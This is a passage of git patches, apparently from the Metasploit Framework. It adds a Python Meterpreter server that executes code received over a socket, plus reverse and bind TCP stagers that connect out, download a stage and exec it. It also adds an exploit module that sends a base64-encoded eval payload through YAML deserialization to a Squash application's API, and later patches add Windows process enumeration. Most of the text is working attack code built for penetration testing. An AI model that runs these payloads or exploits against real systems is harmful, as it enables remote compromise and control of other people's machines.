+TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 + +## +# Event Log +## +TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 + +TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 +TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 + +TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 +TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 +TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 +TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 +TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 +TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 +TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 +TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 + +## +# Power +## +TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 +TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 + +## +# Errors +## +ERROR_SUCCESS = 0 +# not defined in original C implementation +ERROR_FAILURE = 1 + +# Special return value to match up with Windows error codes for network +# errors. +ERROR_CONNECTION_ERROR = 10000 + +def get_stat_buffer(path): + si = os.stat(path) + rdev = 0 + if hasattr(si, 'st_rdev'): + rdev = si.st_rdev + blksize = 0 + if hasattr(si, 'st_blksize'): + blksize = si.st_blksize + blocks = 0 + if hasattr(si, 'st_blocks'): + blocks = si.st_blocks + st_buf = struct.pack('II', pkt[offset:offset+8]) + if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + return {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + return {} + +def tlv_pack(*args): + if len(args) == 2: + tlv = {'type':args[0], 'value':args[1]} + else: + tlv = args[0] + data = "" + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' + elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + return data + +class STDProcessBuffer(threading.Thread): + def __init__(self, std, is_alive): + threading.Thread.__init__(self) + self.std = std + self.is_alive = is_alive + self.data = '' + self.data_lock = threading.RLock() + + def run(self): + while self.is_alive(): + byte = self.std.read(1) + self.data_lock.acquire() + self.data += byte + self.data_lock.release() + self.data_lock.acquire() + self.data += self.std.read() + self.data_lock.release() + + def is_read_ready(self): + return len(self.data) != 0 + + def read(self, l = None): + data = '' + self.data_lock.acquire() + if l == None: + data = self.data + self.data = '' + else: + data = self.data[0:l] + self.data = self.data[l:] + self.data_lock.release() + return data + +class STDProcess(subprocess.Popen): + def __init__(self, *args, **kwargs): + subprocess.Popen.__init__(self, *args, **kwargs) + self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) + self.stdout_reader.start() + self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) + self.stderr_reader.start() + +class PythonMeterpreter(object): + def __init__(self, socket): + self.socket = socket + self.extension_functions = {} + self.channels = {} + self.interact_channels = [] + self.processes = {} + for func in filter(lambda x: x.startswith('_core'), dir(self)): + self.extension_functions[func[1:]] = getattr(self, func) + self.running = True + + def register_function(self, func): + self.extension_functions[func.__name__] = func + + def run(self): + while self.running: + if len(select.select([self.socket], [], [], 0)[0]): + request = self.socket.recv(8) + if len(request) != 8: + break + req_length, req_type = struct.unpack('>II', request) + req_length -= 8 + request = '' + while len(request) < req_length: + request += self.socket.recv(4096) + print('[+] received ' + str(len(request)) + ' bytes') + response = self.create_response(request) + self.socket.send(response) + print('[+] sent ' + str(len(response)) + ' bytes') + else: + channels_for_removal = [] + channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + for channel_id in channel_ids: + channel = self.channels[channel_id] + data = '' + if isinstance(channel, STDProcess): + if not channel_id in self.interact_channels: + continue + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() + elif channel.stderr_reader.is_read_ready(): + data = channel.stderr_reader.read() + elif channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + elif isinstance(channel, socket._socketobject): + while len(select.select([channel.fileno()], [], [], 0)[0]): + try: + d = channel.recv(1) + except socket.error: + d = '' + if len(d) == 0: + self.handle_dead_resource_channel(channel_id) + break + data += d + if data: + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def handle_dead_resource_channel(self, channel_id): + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE + preloadlib_methods = self.extension_functions.keys() + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i.runcode(compile(data_tlv['value'], '', 'exec')) + postloadlib_methods = self.extension_functions.keys() + new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + for method in new_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) + return ERROR_SUCCESS, response + + def _core_shutdown(self, request, response): + response += tlv_pack(TLV_TYPE_BOOL, True) + self.running = False + return ERROR_SUCCESS, response + + def _core_channel_open(self, request, response): + channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) + handler = 'channel_create_' + channel_type['value'] + if handler not in self.extension_functions: + return ERROR_FAILURE, response + handler = self.extension_functions[handler] + return handler(request, response) + + def _core_channel_close(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + channel.close() + elif isinstance(channel, subprocess.Popen): + channel.kill() + elif isinstance(s, socket._socketobject): + channel.close() + else: + return ERROR_FAILURE, response + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_eof(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + result = False + if isinstance(channel, file): + result = channel.tell() == os.fstat(channel.fileno()).st_size + response += tlv_pack(TLV_TYPE_BOOL, result) + return ERROR_SUCCESS, response + + def _core_channel_interact(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] + if toggle: + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + else: + self.interact_channels.append(channel_id) + elif channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_read(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + data = channel.read(length) + elif isinstance(channel, STDProcess): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read(length) + elif isinstance(s, socket._socketobject): + data = channel.recv(length) + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + return ERROR_SUCCESS, response + + def _core_channel_write(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + l = len(channel_data) + if isinstance(channel, file): + channel.write(channel_data) + elif isinstance(channel, subprocess.Popen): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + channel.stdin.write(channel_data) + elif isinstance(s, socket._socketobject): + try: + l = channel.send(channel_data) + except socket.error: + channel.close() + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_LENGTH, l) + return ERROR_SUCCESS, response + + def create_response(self, request): + resp = struct.pack('>I', PACKET_TYPE_RESPONSE) + method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) + resp += tlv_pack(method_tlv) + + reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) + resp += tlv_pack(reqid_tlv) + + print("[*] running method: " + method_tlv['value']) + if method_tlv['value'] in self.extension_functions: + handler = self.extension_functions[method_tlv['value']] + try: + result, resp = handler(request, resp) + except Exception, err: + print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) + result = ERROR_FAILURE + else: + result = ERROR_FAILURE + if result == ERROR_FAILURE: + print("[*] method: " + method_tlv['value'] + " failed") + + resp += tlv_pack(TLV_TYPE_RESULT, result) + resp = struct.pack('>I', len(resp) + 4) + resp + return resp +print("[+] starting meterpreter") +met = PythonMeterpreter(s) +met.run() diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb new file mode 100644 index 0000000000000..a987c893a4e11 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Python_Python < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'python/python' + self.binary_suffix = 'py' + end +end + +end +end + diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 1c9aaf6ef62cc..fd13b19b8b8ec 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -84,6 +84,7 @@ ARCH_JAVA = 'java' ARCH_RUBY = 'ruby' ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' ARCH_TYPES = [ ARCH_X86, @@ -103,7 +104,8 @@ ARCH_TTY, ARCH_JAVA, ARCH_RUBY, - ARCH_DALVIK + ARCH_DALVIK, + ARCH_PYTHON ] ARCH_ALL = ARCH_TYPES diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb new file mode 100644 index 0000000000000..e5353ce3019e9 --- /dev/null +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -0,0 +1,55 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Python connect stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s.listen(1)\n" + cmd += "c,a=s.accept()\n" + cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=c.recv(4096)\n" + cmd += "exec(d,{'s':c})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb new file mode 100644 index 0000000000000..da311cb4ce0c3 --- /dev/null +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -0,0 +1,53 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Reverse Python connect back stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=s.recv(4096)\n" + cmd += "exec(d,{'s':s})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb new file mode 100644 index 0000000000000..6e6f036240ec8 --- /dev/null +++ b/modules/payloads/stages/python/meterpreter.rb @@ -0,0 +1,36 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' +require 'msf/base/sessions/meterpreter_options' + + +module Metasploit3 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Python Meterpreter', + 'Description' => 'Run a meterpreter server in Python', + 'Author' => ['Spencer McIntyre'], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + end + + def generate_stage + file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + + met = File.open(file, "rb") {|f| + f.read(f.stat.size) + } + met + end +end From 69a86b60e2d79310879c1ee38771071380bd8fae Mon Sep 17 00:00:00 2001 From: root Date: Tue, 6 Aug 2013 14:00:17 -0400 Subject: [PATCH 101/454] Added initial squash RCE exploit --- .../exploits/unix/webapp/squash_yaml_exec.rb | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 modules/exploits/unix/webapp/squash_yaml_exec.rb diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb new file mode 100644 index 0000000000000..ada7585310de3 --- /dev/null +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -0,0 +1,63 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'zlib' +require 'base64' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Squash YAML Code Exec', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the + YAML request processor of the Squash application. + }, + 'Author' => + [ + 'Charlie Eriksen', # Discovery, initial exploit + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-XXXX'], # Waiting for CVE + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Aug 06 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + ], self.class) + + end + + + def exploit + code = Rex::Text.encode_base64(payload.encoded) + yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" + payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") + data = "{\"api_key\":\"#{datastore['APIKEY']}\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" + send_request_cgi({ + 'uri' => '/api/1.0/deobfuscation', + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => data + }, 30) + end +end From cfd5f292207eee6bcd7f49e716c868c91f12674e Mon Sep 17 00:00:00 2001 From: root Date: Tue, 6 Aug 2013 14:10:48 -0400 Subject: [PATCH 102/454] Fixing the use of APIKEY, which is not needed --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index ada7585310de3..73c39cc41dfb0 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -52,7 +52,7 @@ def exploit "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") - data = "{\"api_key\":\"#{datastore['APIKEY']}\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" + data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" send_request_cgi({ 'uri' => '/api/1.0/deobfuscation', 'method' => 'POST', From a745ec8fa6b9a1f6d7c1f3c4a5f8a20f735cb306 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 6 Aug 2013 14:43:25 -0400 Subject: [PATCH 103/454] Adding reference --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 73c39cc41dfb0..97df122706363 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - ['CVE', '2013-XXXX'], # Waiting for CVE + [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, From 55147d9bdea857fc8ccc562b26ffbb1fe86bdf72 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 6 Aug 2013 14:00:35 -0500 Subject: [PATCH 104/454] Fix regex to work on OSX's file(1) --- spec/support/shared/contexts/msf/util/exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 06f8cfd883ad6..02dcd83d5e622 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -32,7 +32,7 @@ "osx" => [ { :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ }, { :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ }, - { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/ }, + { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ }, { :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ }, ], } From ab976ddf8f01b99f5ddb5cb331e4d3925101b8b5 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 6 Aug 2013 14:46:53 -0500 Subject: [PATCH 105/454] Fix genarate command in msfconsole Thanks @Meatballs1 for spotting --- lib/msf/util/exe.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 4b74e5d1de65a..d38ec89ff3e78 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1952,7 +1952,16 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') # @return [nil] If the format is unrecognized or the arch and plat don't # make sense together. def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) - output = nil + # For backwards compatibility with the way this gets called when + # generating from Msf::Simple::Payload.generate_simple + if arch.kind_of? Array + output = nil + arch.each do |a| + output = to_executable_fmt(framework, a, plat, code, fmt, exeopts) + break if output + end + return output + end case fmt when 'asp' From be683d5dc6d0442dc9f9a74777497843929ccb59 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 6 Aug 2013 16:13:44 -0400 Subject: [PATCH 106/454] Fixing the TARGETURI variable, adding check --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 97df122706363..16386f7f35787 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -44,7 +44,18 @@ def initialize(info = {}) ], self.class) end - + def check + response = send_request_cgi({ + 'uri' => "#{datastore['TARGETURI']}api/1.0/deobfuscation", + 'method' => 'POST', + 'ctype' => 'application/json', + }, 30) + if response.code == 422 + print_status("Got HTTP 422 result, target may be vulnerable") + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end def exploit code = Rex::Text.encode_base64(payload.encoded) @@ -54,7 +65,7 @@ def exploit payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" send_request_cgi({ - 'uri' => '/api/1.0/deobfuscation', + 'uri' => "#{datastore['TARGETURI']}api/1.0/deobfuscation", 'method' => 'POST', 'ctype' => 'application/json', 'data' => data From 36bab2fdfa08fa616896cf99535196fdc3382fff Mon Sep 17 00:00:00 2001 From: root Date: Tue, 6 Aug 2013 16:14:21 -0400 Subject: [PATCH 107/454] Adding a space between init and check --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 16386f7f35787..3004c5dd5aeee 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -44,6 +44,7 @@ def initialize(info = {}) ], self.class) end + def check response = send_request_cgi({ 'uri' => "#{datastore['TARGETURI']}api/1.0/deobfuscation", From f3f4290783916d56eac80dae4d78305db78b2ceb Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 6 Aug 2013 22:33:43 -0400 Subject: [PATCH 108/454] Add process enumeration for windows. --- data/meterpreter/ext_server_stdapi.py | 156 ++++++++++++++++++++++++-- 1 file changed, 144 insertions(+), 12 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 36fdee9d5caf1..f0b49f1145e43 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,6 +1,7 @@ import os import sys import shlex +import ctypes import socket import struct import shutil @@ -9,6 +10,43 @@ import platform import subprocess +has_windll = hasattr(ctypes, 'windll') + +try: + import pwd + has_pwd = True +except ImportError: + has_pwd = False + +class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + +class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16),] + +class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32),] + ## # STDAPI ## @@ -103,14 +141,6 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) - # Registry TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY @@ -200,6 +230,19 @@ TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +PROCESS_ARCH_UNKNOWN = 0 +PROCESS_ARCH_X86 = 1 +PROCESS_ARCH_X64 = 2 +PROCESS_ARCH_IA64 = 3 + ## # Errors ## @@ -228,6 +271,13 @@ def get_stat_buffer(path): st_buf += struct.pack(' Date: Wed, 7 Aug 2013 07:15:00 -0400 Subject: [PATCH 109/454] Adding an OSVDB reference --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb 